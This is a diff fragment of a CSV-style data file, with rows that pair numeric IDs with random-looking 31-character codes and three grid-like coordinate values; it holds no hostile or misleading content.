+1261,GXB0UR03YWOH6AUMWSP8V71G90HL4SL=,20,5,4 +1262,4ZEKZF4IN6VJZLZHHK6PY5NV7YAJ1WX=,20,5,5 +768,6QPTAZPRFJE4HQHXYMSY3DGE41RJL3P=,12,7,7 +769,JU6AZR0B46PL6UVB0X2H84CP8EV76Y8=,13,0,0 +770,QXYGITO1K5MNIOP8WCYE1SW8BF85MFL=,13,0,1 +771,18AKC2Q8PN6R94E3QSAMBUQS7JK4BC8=,13,0,2 +772,ZTCZYBQ7NS6CETQMXU19SV1T3LXUC4O=,13,0,3 +773,1WS7I8B013AEUCI5OZK5ZJ2KTSOJGVR=,13,0,4 +774,2CQHEBABCVA6T1Q9A97CJIKOVQXR70L=,13,0,5 +775,OUPBF92O1QRU08CYXNSW8A4LTOU8P8S=,13,0,6 +776,MA718O20PGMYTPLJPB4MXAIYW6MVX1L=,13,0,7 +1263,QW56T1NYRK9PXYLCJYF3QSKZX29C56Q=,20,5,6 +1264,IO8S3F08CQMKNK58FI60LTZTVM2U3WE=,20,5,7 +1265,YAOLHST7R14UNI1MUGAVA8EOQYXLN81=,20,6,0 +1266,NDMNEDFZDILVFFTIC27LFALEOO1291V=,20,6,1 +785,WF7Z154GSEJGY3QGLUSUO1GLUW4LM01=,13,2,0 +786,9BNQBI5Y0X3NVJQ5SW7Q39XWUO4ALMO=,13,2,1 +787,77TB2VRZ3V17HJMBML1W9MMZSVMO11Q=,13,2,2 +788,SBPHUHVMI1OJ2DKMVHMVS3P4U7FGC4V=,13,2,3 +789,A54VPY201R6GJF0BIRXELJRE30VQ5UI=,13,2,4 +790,4TTQFRW55MUUXB0CP2FS8KSNFVXL1VC=,13,2,5 +791,UVSPVKPCNJW24FT45OEXGBZRBFYWA0O=,13,2,6 +792,ZQ57GRGHW8SROZ5PTWBT6CORD8EDXH9=,13,2,7 +793,YC6LLKSZG2ZJJEI4BGEH0NZF597ND99=,13,3,0 +795,5LK81SKXXHJQDA9AULQ40ZTJA3GYGIO=,13,3,2 +796,M1BEPHMDNCG9RAO0DATE8GGCE95UO0Q=,13,3,3 +797,SO413XE03M1SQFJAZZ1CZXX96MDQ089=,13,3,4 +800,OSF5QL9GZMN768LJ9D340IP0TAR6X6B=,13,3,7 +801,46RQYBV38H23CBTTPME0B7OW95CJTH7=,13,4,0 +802,ZG3N74GASFZ3K91RFQARCMJABP1HZVK=,13,4,1 +803,L0YFT9VR3KIVVZEUTS3ARR231ZKU7GK=,13,4,2 +804,XDZP8T0QJKDRZTBWTIBJ7W9YIQPEWUX=,13,4,3 +805,MTRWU9114YNDRAYL679172AM5V6DKJK=,13,4,4 +806,RTD3PBPOI5QB62MMR0TML0TAW8K510L=,13,4,5 +807,E50BODMPWCAZFQUK4ETGM8OAKXA0ZNL=,13,4,6 +808,UOLUGB838FR2W8Z8I0PWJUGFGI41138=,13,4,7 +809,1YURF4IZ93UH3JSXTMRLRPBUJ0BOXQG=,13,5,0 +810,OT9EXC8EBQTQ5IL7DZBZQ3GJPYVZOL9=,13,5,1 +811,0SIEK347LCTWP9IOSUXNZAOM236H6R5=,13,5,2 +812,NH9QAUZM3JY68TR23PIVQL6QH8ZVB1Z=,13,5,3 +813,NL7APFYML8XN2HMJYQNWENLJT50V9K5=,13,5,4 +814,JESG7XCFIS6UGYLAC2F9YKPTPL2HWBQ=,13,5,5 +815,L7JZ6CELV5RJSBSZRY2WG0FYELXUOW8=,13,5,6 +816,408WNZD3W9QYCQBB126YP0K1QXWL793=,13,5,7 +817,DZ4ZSU45C30E0AZMV5BV3H1R33HJHAG=,13,6,0 +818,A0LDTLCBLPHAFRHLMV5Y96V5BUYWWGX=,13,6,1 +819,VSF4BBZXKB4NBZFSTQ5VK0LKHK6U1GO=,13,6,2 +820,A16085UW0SVDE6HH7HCBFC8HS5DK0Y6=,13,6,3 +821,5VBQC1FECK7VKXWJLEBW32MTOSGDEOS=,13,6,4 +822,QALI6OUHEBCMV321FIIX20RN3B99UP1=,13,6,5 +823,Z0VCV2LMR041S0E6D3F3WRDGHEWSP2R=,13,6,6 +824,ASE8PP1OUTEOTJL796JI18O817KUKNI=,13,6,7 +825,KOZI9BCBP0740RA6EIZXVVB5GX8CA7S=,13,7,0 +826,LLRKLOORGPJ4A54IUM9CO6YORRURJBA=,13,7,1 +827,KP1B4ED499BNVHBV7B86YFFPZVXCQPL=,13,7,2 +828,YCI2QJSGSWOUR40CSSQ89HE8I371MJ9=,13,7,3 +829,1P6DTIBMPLBD33X51HOK0MMXVNR8QWQ=,13,7,4 +830,03K3K6H28Y92839ORIHF36JO8KXCPEM=,13,7,5 +831,79L1TS697KRR69MXNWOXOMNB8JJWZQ4=,13,7,6 +832,WA7AFLKCQPG9KUW66MFLHMGVQCSWZ4U=,13,7,7 +833,Z2PK1PP6GP5KZC8AUIJGK62S2K4I9YU=,14,0,0 +834,X2XO1B360X187UMFXGMP75YHJB7CVXF=,14,0,1 +835,8S474DSU89NU3NFYFD9KOGXUW0UPQNN=,14,0,2 +836,AGRS8BTAZRR3OP2QJRACT89091FHGG1=,14,0,3 +837,4TKC25E8D980JUCBVV8LQOCYJX37GV2=,14,0,4 +838,WSDNZ6OLR1352OA7MPLJIITA2Q8APED=,14,0,5 +839,STWHKVF0CU0MP62LJKPJH7L89UP053S=,14,0,6 +840,MKSK5EBIIL1FLGGDA8NVJB1N3X43QA7=,14,0,7 +841,98W0XDHP2Y9BQWS8US8ZCD1694SSJUY=,14,1,0 +842,PHFEISK9ROQTSOSOFFY88ALTLV1AGIJ=,14,1,1 +843,HSAGVQGJAEFQ5CCH2DM0OTW9W1NL955=,14,1,2 +844,TPQ9T7KS0I4KGIH7O3LB6NWXEG0AWD9=,14,1,3 +845,K3LKGKFSVWEJYMHO0JD8N3LH47AR5HR=,14,1,4 +846,IKCY2C7Z6IDUBP3VWYKZX6FMN4XO0GB=,14,1,5 +847,FD4ZOPH2V1WUNZPXJ6FKB68JDPOS11I=,14,1,6 +848,OTYF4LWCF1WPDRNEIT58QVO2NK8RKP2=,14,1,7 +849,X86DN5RJ82RVAVJAC1JD00B3VAM1NTY=,14,2,0 +850,VJFEH13RZPMMNZ05PSKEIVCSX3HJOPK=,14,2,1 +851,5WUCTJC6NF3BW120D2CFUKG4SRHNK5M=,14,2,2 +852,7TX96G3X2XQ1MOX3OW4YG768ACAUMRW=,14,2,3 +853,6ZC0OQ3I9T4M4H2TIMOFLS8E7S2O053=,14,2,4 +854,CO6700RTJF5MIAFZVZRRP18Y3RXN01S=,14,2,5 +855,65U4RPSM7J7CBC18GN0MWBG01UZJXCL=,14,2,6 +856,T1ZTI2UPYYOJBA9LUMMZFI8EWXNZ2N2=,14,2,7 +857,893W3A98D72BYCQQVWELS8FQK531VGX=,14,3,0 +859,N979CV7JBDKVDZHJ5YEGLDTOGP11CGR=,14,3,2 +860,NSZO2DFBORXSU5MP2CEY9ALH32Q0DEO=,14,3,3 +861,WLWJEYGY0YV40TSV784PWKS456Z4EGS=,14,3,4 +864,UHIUXVWT4C4POEJ0V1ZYX74ONWOA4SV=,14,3,7 +865,DO0YCD3AQP0P26T9Z3HX5XMP185B8NX=,14,4,0 +866,DA20Z5M5VXEQB70TU883GZEH96QX6NT=,14,4,1 +870,DP6PCAIYZH0XZM185VXGFCRHYZC06DE=,14,4,5 +871,8KAFE8Q2QZ52FHMP1UBSWRSI4MK5Z6U=,14,4,6 +872,O0BU5917CUOBBFI0JHA15MJT1ERSVCU=,14,4,7 +873,Y9A2DJJFY5CHIDZ7QFF3WVGCZEX1D65=,14,5,0 +874,1KXAN0PC17K4EKLQKGA4ZH2GJ8N0LJM=,14,5,1 +875,UYSBOKHTWN8S6QPDHYI38RI6PMKH88L=,14,5,2 +876,FOTB2RMBNLNPGZZHHM78YKP20E585LU=,14,5,3 +877,CCEP0BZYX1AZA024FB6021USMSIJIC0=,14,5,4 +878,M5LHNTWGCAMZX41UEU94QR5Q5OCJ932=,14,5,5 +879,MK1JFQ637X1ZR04BV0JD276WGF0ID70=,14,5,6 +880,31X27BEFSARSQ9MXQOG5778VDDFATNP=,14,5,7 +881,VK6RTMJFLGRJ1NQNEKR5O94V4RB09JG=,14,6,0 +882,UE50MF0EOKR1Y0UMS1RY60WI9ZM6NPW=,14,6,1 +883,L2V2AILP8RXVYJ1WCP2M412IDSS0Z3I=,14,6,2 +884,ZVF3ORSO7ME3Y0TBLYGCAK311M2AEE7=,14,6,3 +885,OJQLBG1ERRHW39R8TUL8K364PHPDROJ=,14,6,4 +886,RQI3Z6SDAO1NOCYQBCDZA7101YFWBB9=,14,6,5 +887,GFH24YR5IIVK1YJW7P6BY6RJ7R6RM2U=,14,6,6 +888,0O46Z3WAYGW06GH1NI1N7H7AP047QHZ=,14,6,7 +889,CNLF7UTJ2TSZ47AW9566MRH2MRRIUQF=,14,7,0 +890,MNZP2JE5U406FU49H8U2K7JA9H0RYOG=,14,7,1 +891,XBOOEQI3ZAJ9FLCCRO0V2ZO7205RQS2=,14,7,2 +892,QBU1FKE1P6IMGF4JPHRGDSSD7BMM4A4=,14,7,3 +893,XY648C2NBL0DAASX7XCR6LFLN4USECK=,14,7,4 +894,EEBOFAN3KSHM44541I1EH4SQ8VH2GA2=,14,7,5 +895,4S0KFF9PRNYMUNI8YDHKCNU482I2H5Y=,14,7,6 +896,KP86YMN5P3EVGWBWIIL11ASSLH5BEL6=,14,7,7 +897,FEBR0LP6BXRJ01E0DUU37RHQX1R2PJG=,15,0,0 +898,IFH23AXUJF50E3K2IR4UE4DM69DEPUF=,15,0,1 +899,II3T3A2F4J2MGG8VISB4QAS264VBPT3=,15,0,2 +900,TP46AURRFT4Y6KIJ12WI6YA8XLY1SMZ=,15,0,3 +901,OY7J6C3VWAF06IXUXCNTDB771XKMFCI=,15,0,4 +902,BPT14MQHBH30KZKZUCVKPV0IWIDVV1I=,15,0,5 +903,U0SLYGQWBNNSJR7F83MODR8ICMVT4JA=,15,0,6 +904,XH44DMBSA0LELDYDU4LNJO7Q33YV36D=,15,0,7 +905,O5T7TZ8IW61CRPU491XWJPRGX1S1Y8S=,15,1,0 +906,0WVGBUG3I10947OZUGAWWFYPIEQ4OHG=,15,1,1 +907,JS4ZEUNHB1IUWUL3Q17CF9PZNQKB2NN=,15,1,2 +908,FR3NE0ZJA2U98NLWWDKZC49HPUDYUNQ=,15,1,3 +909,IAW5JQ0QFDS5PVBR5J6V833C0IP8OWW=,15,1,4 +910,3EX6VLVSQ73RR934JRJNY1RCWEJUH49=,15,1,5 +911,9V4SEQJ3J4W8XH6KYDC4L3HP8O0AYMU=,15,1,6 +912,SR39FPQ7VSQGOW0PHGZGQXEXLIB2IK8=,15,1,7 +913,R0M914BHJCTIXCCL7DCXLPZHCX7HDU0=,15,2,0 +914,KD3ACS2AKUS3KO3OYDTA2VPSZYQOR33=,15,2,1 +915,XLHOCE37IJCCYKIB8PD7JXTIC9JDTL1=,15,2,2 +916,WYJWWSQTSOU78FZ12R8N91IGZ7U21KR=,15,2,3 +917,SEBIWHD8QE782XGW66KJCD817RHHGL9=,15,2,4 +918,HVUZQCLJ8JYFPZUVWSYNM380AHG5LUK=,15,2,5 +919,X4B1NM3LJ7Z7KZGEJ8H4XQI7ATEAZ6W=,15,2,6 +920,NYTMX7CVCK8TQX0D8HXY0OEAXP8Y6U5=,15,2,7 +921,NH24PQLQHGK2XI9TBRCFJCNIQBFBM7H=,15,3,0 +923,2ACFRF1C8TA0UAZ459LU20XV7YVK8EL=,15,3,2 +924,6I6QLOK8X8NSFP65SYJNQV6TG6GF1PW=,15,3,3 +925,KHESAOELJ6HOJ7RQVRE7G2PDH2BQ5Y4=,15,3,4 +928,5DOZME2K4FIQ0ROC7J8FI5IEMVCW5NS=,15,3,7 +929,OH443DW095K0ILM5C4DS5YGFR2DKK0M=,15,4,0 +930,HBMKLUW0IUAF5WBBP4XTO3UDI17BPEZ=,15,4,1 +934,O9ABHCPYHDQRO6PNJ9HA24B73WU7212=,15,4,5 +935,BAFYL1NQFXHNDVU8R3XBAS7YJMQINIF=,15,4,6 +936,NYMBF3UMR99H5OASED6LUBDTGED48FH=,15,4,7 +937,3WVJDLLYIPB0A14S6RULKOWWSXE4JFW=,15,5,0 +938,STZZZJI3ZGJ1TV4BBR4PBPBRF3WDIF9=,15,5,1 +939,KWDPSVOXEPEH8YFEBN486GFNS8D4861=,15,5,2 +940,XPSC8OJ7UJ1LIYF3JYP3T6IE6OLBE1K=,15,5,3 +941,0F0F7AYI39ZIRT0XGMVF8G03ABFBPX8=,15,5,4 +942,XF58C27S5FA27G98Q88Z21V7TCS4745=,15,5,5 +943,Z5419TLY94SPJ2K8XO4VX5LLA9BTKRE=,15,5,6 +944,D7EI5MX39DW1SY9GLLKHU72Q0MLJ7FJ=,15,5,7 +945,4F25ETZ8USEH72I2GX2DG15DWCVBS4D=,15,6,0 +946,GMGEKM379TAPEQYWQ1U11QF0SLCFPA7=,15,6,1 +947,ISOECKQVHJ1RCS70SF5EME85F3IEJK1=,15,6,2 +948,E0F3NA05K9Q3J07V1Z7T0T87Z30RIH4=,15,6,3 +949,1LJD88RIQ21APLOU7S9586HFLO147XW=,15,6,4 +950,U5PLTARR9JUKXY43ZH3R2F2N5EA5SHS=,15,6,5 +951,PS3LDANREZKNJ53XM7GPWJOTSGP0DDO=,15,6,6 +952,F2QG448LC09MRMTKIQPZQ8VYPIQC2DJ=,15,6,7 +953,KL6FTG7BYKZK69ZV9O1DBOU79Q50SDT=,15,7,0 +954,X5B3MZGXZDSE8PDJKW7GB7L0MQ2PCDI=,15,7,1 +955,7C8F0Z1VDTMUMMQTJ2CNGJ68L63YR9F=,15,7,2 +956,2DEL6OFKW0GHR06NR58W509GFG6VY05=,15,7,3 +957,X9JVOG07XK1QQ9FRUODJK09RDUEVSDP=,15,7,4 +958,3GL71R26BVQTKSDNIIUR7OEY6MYU26O=,15,7,5 +959,FNKT3JO5K8B98R7EQE1G5TDXKX8BJ6H=,15,7,6 +960,S896VHSGWHQGJA5T0DGE4XR89NHE6QM=,15,7,7 +961,6GAIS5CI9KO2M2ADG2RZQB1CTJFB8CY=,16,0,0 +962,NKH8QDUZTTWLTR2Z8UJD02XT3PHYTNZ=,16,0,1 +963,RMKAJIENQHQAPJ5EJR4AQPZYS62IO8U=,16,0,2 +964,HB2BCB8BYYIIM70K6U5BZ7AL8PK7ZIN=,16,0,3 +965,1SV72ZMAXYSNI1BJ6NBW347EA75YN8I=,16,0,4 +966,GIETBYFBPQPURD9LUBD7C3D7H6ZSUXH=,16,0,5 +967,BNTE9PVJEEWQ5KU3IRUTU50M81DFHWU=,16,0,6 +968,QJS5OZ9HOTCMPH8TT11U1VWRMDMZABZ=,16,0,7 +969,YXTRFYVRIAERQVXANH92Y3IHJ4ZTFCR=,16,1,0 +970,T0LIG0WGUJN6SPBW4153UB7BLCWU9GP=,16,1,1 +971,2POZRWUQ3YN8EZJFXSSR9Q1BWE9CQTE=,16,1,2 +972,UY4OO1F9R5D25175NJXK57U2EVA5L8N=,16,1,3 +973,OCCPE9UHA69ISWJHD1JJXXO0OL31KC8=,16,1,4 +974,L8O2TX85SYGNZ4ZW0IEQV7Q7KMEPVWC=,16,1,5 +975,B4W5PZTJRSNEMEHXVKG4WK7HQIJYAW4=,16,1,6 +976,TKE9LAQD60TJC9NWL9XRU4WI3TJLSVX=,16,1,7 +977,6T7T34OLW6PZH776E7CB7GUVCQCCUKD=,16,2,0 +978,M3EQ9HN8SORE3KFH0TJK5ETEBUS9D29=,16,2,1 +979,JTB6A3C4YT1O8T0RF91C9DYKYGDN098=,16,2,2 +980,HNYNU2UGAT0U1P0Y440644SP8Z198PO=,16,2,3 +981,DMV8XO72N7WKJLL70WDE994084JC18H=,16,2,4 +982,ZLQ4H08NU1H5ZPFFLAL7IJVUHP90IWE=,16,2,5 +983,N3APLDVXK5JTPMPQQ8DZM79CLAA2Y6E=,16,2,6 +984,E6CVV3DTTCYW46M2HQHHPA01N3JHU2R=,16,2,7 +985,8KGO2G5M6J26AOQDK9K4YRG46M3CASG=,16,3,0 +986,WXFTGXIEJFY1W5FLXFAV517M03ZT6D2=,16,3,1 +987,6UDE5LSBLI88DZV982P6JEDHE8PXM2Y=,16,3,2 +988,NFQOWHGL7X21MNCT2UAJYR3CBKNE9KA=,16,3,3 +989,J6J81GB07U8ZG9C5R7JYZHXDIUXYFU7=,16,3,4 +1267,G2BAV0OIWBPL1F8UP4HI3H1A62Q8P67=,20,6,2 +1268,2V3CCEDSI843LG3ESIDZH8VHDSDUB3O=,20,6,3 +992,3W8CC4Q7NCNIM1RNGYQZM3UTMUYSKFW=,16,3,7 +993,F81NMHXEW2FUVLD0KN2OJ10URDUADG5=,16,4,0 +994,NKRVWRI5W6ZU7ADFGAXA2MFK85ZWDGP=,16,4,1 +995,4LVFEO1U9D52KLDBLOVBPJ8PO4O4GJW=,16,4,2 +996,7P7GSM61BISYSLRLKFSRMQZDLFEE45S=,16,4,3 +997,P7THMQJ6G1JJ898LHIZ3NYU4OTJHOZL=,16,4,4 +998,YDHUJ9HYDW2RE4RO7A5FLOQ46U66FWC=,16,4,5 +999,Q2K2T75SLC567E7PLARKPZ1EW2BG0SU=,16,4,6 +1000,3PX46M7LJGI8L52D1YKXGE7MC7RZINQ=,16,4,7 +1001,K2UGCH8JX4CNOL9LG9Q678X4EH3SCJJ=,16,5,0 +1002,FHK7EGF3G2VLROJFACTJX2I1DCVJ0DN=,16,5,1 +1003,GQV0LF3GF4GCPKDPEMBGMGENH97CJCE=,16,5,2 +1004,VURDFJTIK5KXBSOKJNLDZ93GC4CYFO7=,16,5,3 +1005,1GPQMVJLD8DJRCS280VOWG7K5DRH0K3=,16,5,4 +1006,ZEEVX345ONU8LXTL748HDDTVLODQUKE=,16,5,5 +1007,JDD83BWQ3EPFOX8YTZYZXM7WN9VDNF5=,16,5,6 +1008,AS46UHX6C4JBIICE11OZHAEGT91IP58=,16,5,7 +1009,P6K1NEL2ICIKHSDCSZDWQZ1F7HS48UU=,16,6,0 +1010,LVF5BR9N8QCBP81BPOMGB03UANJJAJA=,16,6,1 +1011,HEDZ8F3Z4CD1DV82PPAUWD6GBWOQFD7=,16,6,2 +1012,BZWY2IMCLJ0LH0MG5JCX68YEDADUDWC=,16,6,3 +1013,4IDE6YUXRXJJU4RQHWBJDX7FQWBMVMY=,16,6,4 +1014,VI2ALNVNC18VA23YNB5WVJWIXUD0HFH=,16,6,5 +1015,26WZ2HCO7NEPHZ0EKEO4NCPJWNU89MC=,16,6,6 +1016,WNS0NRFMXO4XTDKLPCKII1Z1U0X3DLB=,16,6,7 +1017,RQA6Z3ZJY5JCOYC0UE4NPHIM7JHVTOC=,16,7,0 +1018,K01F4NBM5F90UYPWYHFHVB26IPQT9YD=,16,7,1 +1019,PQ42JEDAYD83BPPWJAGFEQDO0W3L8T7=,16,7,2 +1020,259FOR2Y2SG8CCLYW3CW7ML8I774GJR=,16,7,3 +1021,TW77PRE61FY72VPS2J3GH810LUY5FQZ=,16,7,4 +1022,FZA8UFOHS7P6QDL8YFF1C3DGJUKWGFL=,16,7,5 +1023,MATTNMOEMI23FLS5824D4P24327BUS2=,16,7,6 +1024,NWXE7K20MS6ML5GTTHTDLAMUAVUTDU7=,16,7,7 +1025,SI6U9RTERYM52MGH1VNENQUCK4M4UA0=,17,0,0 +1026,RKJL03BNOVEOLRZHUKA24065GSNNHSR=,17,0,1 +1027,7MF3GGLM5T8XIVYZ6HGPH6R145H8A2G=,17,0,2 +1028,DRVSFO3A7COWU45GXDHEZL2CLO0MK6C=,17,0,3 +1029,EHMZE0KFXVMTISGQ22UQ3LNSYU9AV4T=,17,0,4 +1030,WGLEQ4BDA2LS8B847I0AZHT1WY39032=,17,0,5 +1031,YLVMEBLER5CRTNK9JPAVB5GRNU1EJWP=,17,0,6 +1032,TKE6GGBUJ9PTMPUK3NPKOUXH6MC5M1C=,17,0,7 +1033,VXXAP87QST5SOYC58473VXUDBG71WNQ=,17,1,0 +1034,1Y3VCP8XLNQ1FNPX4WEY67MTD77CO7Q=,17,1,1 +1035,JCYLYA831VEH4F5P6SDL1FW8I36IUF4=,17,1,2 +1036,PEHI8SBOLEJFTL67UJ7UR4DQ7LYVEDS=,17,1,3 +1037,6E0JDJ139UPYU6BQ432AXPMDDZJXXCY=,17,1,4 +1038,E5BMO7IXQG1L8YOQXLX2JNLU2VKRGME=,17,1,5 +1039,71JBYV4UGK8Z5BYNLFMOQFMG0QDN85U=,17,1,6 +1040,TCUMPLB73FYHAKNGJBGPBT20NQFTA0I=,17,1,7 +1041,HD6URONMGUCYVRKMRQL07XCDA771ROS=,17,2,0 +1042,4E6SMC0CB1UHM3NVG51VGJ4386X3EG4=,17,2,1 +1043,L5M05YLRT81GR6AR1FHX4P4MHFJ1LQP=,17,2,2 +1044,SNIPC8VDBV1B3ZAIMDD4U2RHUHL1CGT=,17,2,3 +1045,5RB9FBXJWC8BSUAMSLXKJ52BO31KGPM=,17,2,4 +1046,HOFXWT4XP2IY5VYSY8MY1OFPWNUK9E6=,17,2,5 +1047,W7B2U9YWMGAXSTVWO0FNVGZHRCR48KP=,17,2,6 +1048,N9US5MO1I2PZ4VCUSTSX72XRSIY9HPI=,17,2,7 +1049,6L1WFH1S1YH4OSQPR2KU442K42YQ76E=,17,3,0 +1050,TGM4B529SFKLP4IQQ5GHG0GXXPDZ1WN=,17,3,1 +1051,UITQQVNKNF1MA58HHW9LRBOBSQ58KW8=,17,3,2 +1052,E2NXVDHOOJ9CENT2ZSBQPA5XZ2P8741=,17,3,3 +1053,W7HX1C3YWRGTIJTX91OP482BLMKYAZN=,17,3,4 +1056,7SVQ63EJ1COJ1406BRX4KC6R9EJRXUO=,17,3,7 +1057,UIK70K0QP9LG8KQFMJ9967OFPIAJZHN=,17,4,0 +1058,KHE9HFUOIYRJC9YGY0XNAV3JGGGS44G=,17,4,1 +1059,O8UBBDSNUI47MS6OYBZ91L9TARTQD4X=,17,4,2 +1060,RR8ZCQPJE731E8DRENL1ULSS5NUYYXX=,17,4,3 +1061,S45S7S97NTHV7GTGO3456TPATBB85W9=,17,4,4 +1062,2D157US35N7ESN4DXUPH96AULSL0ISE=,17,4,5 +1063,MGCGZJ74MT3THKEPZQ4OKSZJIBPFNI1=,17,4,6 +1064,9IAXA1HYOP3MKF6D87HNGZU9ZP0IONN=,17,4,7 +1065,TQ9V1D9QI728ZK5NEULBAZU8YIQFOFD=,17,5,0 +1066,ABI9JVXBNQZ8H79H37G1ZZYLB6RR50A=,17,5,1 +1067,6F0JYEULHJ70R9NC0ZVK2X4YJPMRTWI=,17,5,2 +1068,3PWWN8B6CHMBZHVUOVSFW0VGG0MEYU1=,17,5,3 +1069,6A2X2MSZ7LS06OH614F2LFI1TN212XA=,17,5,4 +1070,MQWD5O82EBL6T03020U0P4YP82G5CX8=,17,5,5 +1071,HU1623VP72KGVSWQHFUS7EV536L8KIU=,17,5,6 +1072,ZXGK0K6YAUNKFDPRL8QD5T3L3ES6GE8=,17,5,7 +1073,G4R07A62C6RP83H9LDF3WCKEF4I6XS9=,17,6,0 +1074,BRV4UDNBB9CP4XL0QE48YSZK2XEY9HV=,17,6,1 +1075,QOPT1L83ASW12LWXFX3KK0SE4IPDLHH=,17,6,2 +1076,V2PDXH111ZSN7LKGCK558P2D9746AFT=,17,6,3 +1077,OO252NL0XB2PCU0E3HS820BVEB47A6I=,17,6,4 +1078,NDD0JTBYXW1QT0OWCDU8QG5XK60QBXE=,17,6,5 +1079,EH9A6CIOTXJ7AF1K7V42ATDJFGSX73I=,17,6,6 +1080,JCART62IOHCSD09XJ6RGK12Y2NHEMBH=,17,6,7 +1081,XS26IJ4CNAFZUMPX5NXDHG9RGE7BKD8=,17,7,0 +1082,4TQT1IJTFRLB6XNM7ROEB4LP4U2JN0C=,17,7,1 +1083,4205ZMLFT7DXY3JIFE0SK2SNLFTZXHC=,17,7,2 +1084,A5ZWJO0LFD6ZDYGJVMV159EMMGC0VHZ=,17,7,3 +1085,HKVJHRIS1RQBF86BOM1IY4Z0CSQSG0A=,17,7,4 +1086,084CS8U7U073UN2GDZDINPGD214TSGI=,17,7,5 +1087,0U4AJYI2CFW6XGX4OWUIHBYXG59P09N=,17,7,6 +1088,2ZZ7WB3TN5WKFUDEZ1PY6YYI6JLRBMX=,17,7,7 +1089,S6VQDT82UT2HPRDMZ9SE9YKKDVKPYNG=,18,0,0 +1090,GKEWFPO8WDICU9EEBZ6DF6S17INWIEE=,18,0,1 +1091,HYAE73PLMAOVHTRQFOIEA5D7DF99H56=,18,0,2 +1092,29P8Y5LZ39NTYACL91TYT9EBMP2TFU2=,18,0,3 +1093,UXYS09FWOS4G26K9EEF2QO1LOVG0WM8=,18,0,4 +1094,8SU2K01YOTD3WRZCTPK2ZX0RJQ6IZPO=,18,0,5 +1095,2GPKKAIKRW0CR5YNRUFZJ2ZJIXLUFUJ=,18,0,6 +1096,GKJ5COZJ9MOJBT3OCW86VFA9A28CQIV=,18,0,7 +1097,CSSC21A9PPH84ROLSN10LIFGRORSPVL=,18,1,0 +1098,ZY2SBO69FB2AFAW23BRTYAMTYR5S2BV=,18,1,1 +1099,YBGG3QWT3D4COBMG4VYG7OHDHJC78LJ=,18,1,2 +1100,PVT1A2DKB00NFWYSZG07JWQYFH9CO79=,18,1,3 +1101,1RTGGCLROYWM2COE2KK5U9LKW6I9NFJ=,18,1,4 +1102,LQVB8HMAV7CYCQG8K9L3H64I4I7LIXG=,18,1,5 +1103,UNRCKVJDCW9WE5ROT9PT35V36S3QZ8N=,18,1,6 +1104,6LPLM9S5YBTFSJCWDVJTD7G5CVAT6QK=,18,1,7 +1105,ASBOSAMIOAYZQHYB5MQQFTAKNW0A0QK=,18,2,0 +1106,ORUPG6S1JX79RFJYBIJ1GRTKXECJICP=,18,2,1 +1107,Z1GK9OVVL4DAMFC4DACOYAJ6NL1JAW8=,18,2,2 +1108,RFVIOWZIBSIPVLDBUY8VHMJC6S8P8H6=,18,2,3 +1109,YUSIKYL4U6HEYRECFAHWAEAV321FT77=,18,2,4 +1110,V09JTC1JVL4KV12AKD8NMD8V7O4MXQM=,18,2,5 +1111,CO4YF33S291SCLYG80GG1VZWY60AU0U=,18,2,6 +1112,1LB66NFZMC30273WWFCPJV7B93JPEGH=,18,2,7 +1113,A6FCF7HQK8SXCOBIFKHEZ5INH2KVWNB=,18,3,0 +1114,JMF1O4K64FDGN1QCPVLAH5UF6K41G1G=,18,3,1 +1115,256MT35SORRYXL0J24OBZDSNIF6FZZ4=,18,3,2 +1116,W8RI3FL8AD0YTU2J2XYPKYF2C3F77XV=,18,3,3 +1117,MQDDSUAHZ2334ZIDKJYUTSFKV1SOZWN=,18,3,4 +1120,60K9A95LA7ASZ3HLJU12O2HWMSERNGA=,18,3,7 +1121,U5ZZ5U204SUREXRY380HICTCD91B2JC=,18,4,0 +1122,WY8LKZ0GJ4DPJXS7RX3E4MWR0E368SJ=,18,4,1 +1123,TCMWI5UOT402XK438OV9ITZ6LPKMY5R=,18,4,2 +1124,5QQ3Q21B26UCYU4FM8T7LHB7CLL2QXV=,18,4,3 +1125,OOLE1NHU5TSBVJKQ7S14MXCUQ115VSG=,18,4,4 +1126,8CIWHQKMQW7MXZ04XRTYF1PUR493FLO=,18,4,5 +1127,IFGA9ZT2OZHWFKW3OTN9VNOA6GG1M5N=,18,4,6 +1128,LLU1VKWCYKB4XBMK20KNLTBY88SWDNX=,18,4,7 +1129,ACN06BXOGAAOZVINLNVIW6G7VQO6OZU=,18,5,0 +1130,OQ3M0WGEV4SULWT49B0HG9VXOMMLKH9=,18,5,1 +1131,24ECKHRPC88ZKFI54CC7JFU6RD6GMR3=,18,5,2 +1132,U5G4ILQSA9HCTOW1G8DQL1N5NCN8PG6=,18,5,3 +1133,6N4L3VA9EPMU0B00LECLLZZM93C2ME3=,18,5,4 +1134,EQBQC3QH95H84Z3HQNWVWD7A5Q1WKZY=,18,5,5 +1135,DLWMDELFIBCKDT936SGZC41ZA4Y7KOE=,18,5,6 +1136,L9LHK80Z0DD1AZG4HLGZDURJOBB31RU=,18,5,7 +1137,SF7A504FSUL16ZLVS7BQYSKU8EJKBKT=,18,6,0 +1138,4DXY29K1DXKHVX7Y5DB9BZ9RGJIMPC1=,18,6,1 +1139,S21XPKIPW0YYRX5ORRWLRR36XIQZWR7=,18,6,2 +1140,4A8IP00OG7KTZ679YQJOHNTJBAUW3CB=,18,6,3 +1141,5FKFP8KMYTTTMIR4ETNE1UL04S26880=,18,6,4 +1142,RY9JCRY4XMRHSH8DO6U65RODQ56P5HT=,18,6,5 +1143,FF6C4CSUBMKX87BVJUWKU5R7UGI858X=,18,6,6 +1144,AH2W7DQMEMMWHDAA1AM9M2U29AKQQ7T=,18,6,7 +1145,ESZNP1Q3ZOZYTOW2NL1STP48MMQP0AX=,18,7,0 +1146,Q2L1SSLYFU9R2U1HSZXGWHH0X15GFDS=,18,7,1 +1147,M4LYTT36502CMR7PYS95HGVUFLN8IDF=,18,7,2 +1148,4SCOY9VUDC80Q2LO8P2FRH1S5LMNJ29=,18,7,3 +1149,GQ8X6791ZGBETN7VJKR7WUK9P8C49JQ=,18,7,4 +1150,MRP4QG28RVU0NZO63GOI08I89HTKOV3=,18,7,5 +1151,02FITSGPP9YM8AWPBKGM1T7GUBOBZUH=,18,7,6 +1152,AJTTPNTJ5YNK77NZ6OZVJGN4AEPZUGC=,18,7,7 +1153,N2KM1MFOJ4PNTDGULQTJ6MSFKHEW3T2=,19,0,0 +1154,Z76OEDFAFFZ5BPAQAKBWYF5G8TPJNCS=,19,0,1 +1155,UOCL4YVSYQ63GBHOJHXA24GE9XSCE9K=,19,0,2 